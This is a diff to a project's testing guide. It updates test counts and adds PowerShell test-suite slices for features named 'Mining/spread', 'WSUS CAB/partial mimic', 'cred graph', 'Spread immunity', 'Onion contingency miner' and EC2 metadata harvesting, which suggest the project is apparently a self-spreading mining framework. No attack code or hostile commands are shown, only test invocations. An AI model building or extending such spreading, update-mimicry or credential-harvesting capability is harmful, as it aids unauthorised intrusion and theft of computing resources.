**Current counts (2026-06-07):** Go server **912** `Test*` · Go agent **644** `Test*` · Vitest **835** tests in **95** files · Playwright **26** tests in **8** spec files. Refresh: `go test ./... -list .` (server/agent), `npm run test -- --run` (Vitest), `npx playwright test --list` (E2E). Full suite: `test.bat` → `scripts/test-suite.ps1`.
|
||||
**Current counts (2026-06-07):** Go server **939** `Test*` · Go agent **655** `Test*` · Vitest **847** tests in **109** files · Playwright **26** tests in **9** spec files. Refresh: `go test ./... -list .` (server/agent), `npm run test -- --run` (Vitest), `npx playwright test --list` (E2E). Full suite: `test.bat` → `scripts/test-suite.ps1`.
|
||||
|
||||
## Master validation (operator commands)
|
||||
|
||||
@@ -11,12 +11,26 @@ After parallel agent landings, run from repo root:
|
||||
|
||||
| Gate | Command | Phases |
|
||||
|------|---------|--------|
|
||||
| **Full gate** | `.\scripts\test-suite.ps1` | 1–8 (Go server, Go agent, fusion, Vitest, builds, Playwright on `:18989`) |
|
||||
| **Quick verify** | `.\scripts\test-suite.ps1 -SkipE2E` | 1–7b without Playwright  default post-landing smoke |
|
||||
| **Fast slice** | `.\scripts\test-suite.ps1 -SkipE2E -SkipBuild` | 1–4 only (Go + Vitest) |
|
||||
| **Full gate** | `.\scripts\test-suite.ps1` | 1–8 (Go server, Go agent, fusion, Vitest, builds, Playwright on `:18989`) |
|
||||
| **Quick verify** | `.\scripts\test-suite.ps1 -SkipE2E` | 1–7b without Playwright — default post-landing smoke |
|
||||
| **Fast slice** | `.\scripts\test-suite.ps1 -SkipE2E -SkipBuild` | 1–4 only (Go + Vitest) |
|
||||
| **P2 focused** | `.\scripts\test-suite.ps1 -P2` | Mining/spread/path-forge/WS subset + Vitest; add phase 8 manually for onion + discover E2E |
|
||||
| **Fleet recon** | `.\scripts\test-suite.ps1 -ReconOnly` | Vuln/CVE, cred graph, triple-onion gates, Path Tracer discover, recon Vitest |
|
||||
|
||||
Feature slices (single-feature regression after parallel agent landings; each exits after its phase):
|
||||
|
||||
| Feature | Command | Covers |
|
||||
|---------|---------|--------|
|
||||
| **S3Swarm** | `.\scripts\test-suite.ps1 -S3Swarm` | RS 4+2 upload mocks, deploy-plan magnets, Forge erasure panel Vitest |
|
||||
| **CloudMap** | `.\scripts\test-suite.ps1 -CloudMap` | Agent registry fetch, EC2 IMDS meta, server deploy-plan hooks, cloud method catalog |
|
||||
| **Fargate** | `.\scripts\test-suite.ps1 -Fargate` | Burst ZIP export, campaign Seer sync, spread-router prefer-seeder hint |
|
||||
| **PolicyFanout** | `.\scripts\test-suite.ps1 -PolicyFanout` | Public policy snapshot + EventBridge fan-out ZIP export |
|
||||
| **SSM** | `.\scripts\test-suite.ps1 -SSM` | Cloud template export + connection test API, SSM document row in cloud hub Vitest |
|
||||
| **Seer** | `.\scripts\test-suite.ps1 -Seer` | Seer stream API, LLM note bridge, Seer page + event merge Vitest |
|
||||
| **Oath** | `.\scripts\test-suite.ps1 -Oath` | SQLite oath ledger + API + `/oath` page Vitest |
|
||||
| **Contingency** | `.\scripts\test-suite.ps1 -Contingency` | Agent contingency tree, server auth push + Seer onion logs, mining self-surgery help |
|
||||
| **CloudVenue** | `.\scripts\test-suite.ps1 -CloudVenue` | EC2 biome inference, venue policy push, dashboard weather merge Vitest |
|
||||
|
||||
Count refresh (update this doc when totals drift):
|
||||
|
||||
```powershell
|
||||
@@ -47,6 +61,15 @@ Or with PowerShell directly:
|
||||
.\scripts\test-suite.ps1 -SkipE2E -SkipBuild
|
||||
.\scripts\test-suite.ps1 -ReconOnly
|
||||
.\scripts\test-suite.ps1 -P2
|
||||
.\scripts\test-suite.ps1 -S3Swarm
|
||||
.\scripts\test-suite.ps1 -CloudMap
|
||||
.\scripts\test-suite.ps1 -Fargate
|
||||
.\scripts\test-suite.ps1 -PolicyFanout
|
||||
.\scripts\test-suite.ps1 -SSM
|
||||
.\scripts\test-suite.ps1 -Seer
|
||||
.\scripts\test-suite.ps1 -Oath
|
||||
.\scripts\test-suite.ps1 -Contingency
|
||||
.\scripts\test-suite.ps1 -CloudVenue
|
||||
```
|
||||
|
||||
**Portable USB:** `pack-usb.bat` from repo root → copy `usb\` to a drive → `LAUNCH.bat` (opens `http://localhost:8989/`; `/agents` redirects to `/crucible` in the SPA).
|
||||
@@ -74,6 +97,14 @@ Windows dashboard only; no in-process cloudflared. Genealogy fields are **teleme
|
||||
| **WSUS CAB/partial mimic** | Forge `WSUSFormatMimic`; staging wrap/unwrap in `wsus_cache_peer_staging.go` | `go test ./deploy/... -run FormatMimic -count=1`; `go test ./internal/api/... -run WSUSFormat -count=1` |
|
||||
| **Spread immunity / subnet pause** | `server/internal/api/spread_immunity.go` | `go test ./internal/api/... -run SpreadImmunity -count=1` |
|
||||
| **Fleet pressure telemetry** | Agent `client/fleet_pressure.go` (`seed_pressure`, `hashrate_pressure`, `emberwake_heat`) | `go test ./client/... -run FleetPressure -count=1`; Vitest `wsStatsCoalesce.test.ts` |
|
||||
| **S3 erasure swarm** | Server `internal/erasure/s3_swarm.go`; deploy plans upload RS shards + CloudFront magnets when `AF_AWS_*` set; Forge `AwsErasureSwarmPanel` | `.\scripts\test-suite.ps1 -S3Swarm` |
|
||||
| **Cloud Map seeder registry** | Agent `deploy/cloud_map.go`; EC2 IMDS `cloud_instance_meta.go`; Emberwake cloud-map ZIP | `.\scripts\test-suite.ps1 -CloudMap` |
|
||||
| **Fargate burst seeder** | Server `internal/fargate/` + spread-kit export; BGP `PreferFargateSeeder` when campaign active | `.\scripts\test-suite.ps1 -Fargate` |
|
||||
| **Policy snapshot fan-out** | Public `policy-snapshot/{token}` + EventBridge/Lambda ZIP for degraded agents | `.\scripts\test-suite.ps1 -PolicyFanout` |
|
||||
| **SSM document lane** | Emberwake SSM panel + cloud hub `ssm-document` method; export-only (no SendCommand) | `.\scripts\test-suite.ps1 -SSM` |
|
||||
| **The Seer** | SQLite seer notes/events; `/seer` stream; court/surgical replay emits | `.\scripts\test-suite.ps1 -Seer` |
|
||||
| **Cloud venue biomes** | EC2 IMDS tags → batch/spot/gpu biomes; persona packs on auth; dashboard weather | `.\scripts\test-suite.ps1 -CloudVenue` |
|
||||
| **Onion contingency miner** | Agent `ContingencyTreeRunner`; server auth `contingency_policy` when AI control on | `.\scripts\test-suite.ps1 -Contingency` |
|
||||
|
||||
Full gate: `.\scripts\test-suite.ps1` (phases 1–8). P2-focused slice: `.\scripts\test-suite.ps1 -P2` then phase 8 for Playwright onion + discover→spread stub.
|
||||
|
||||
|
||||
Reference in New Issue
Block a user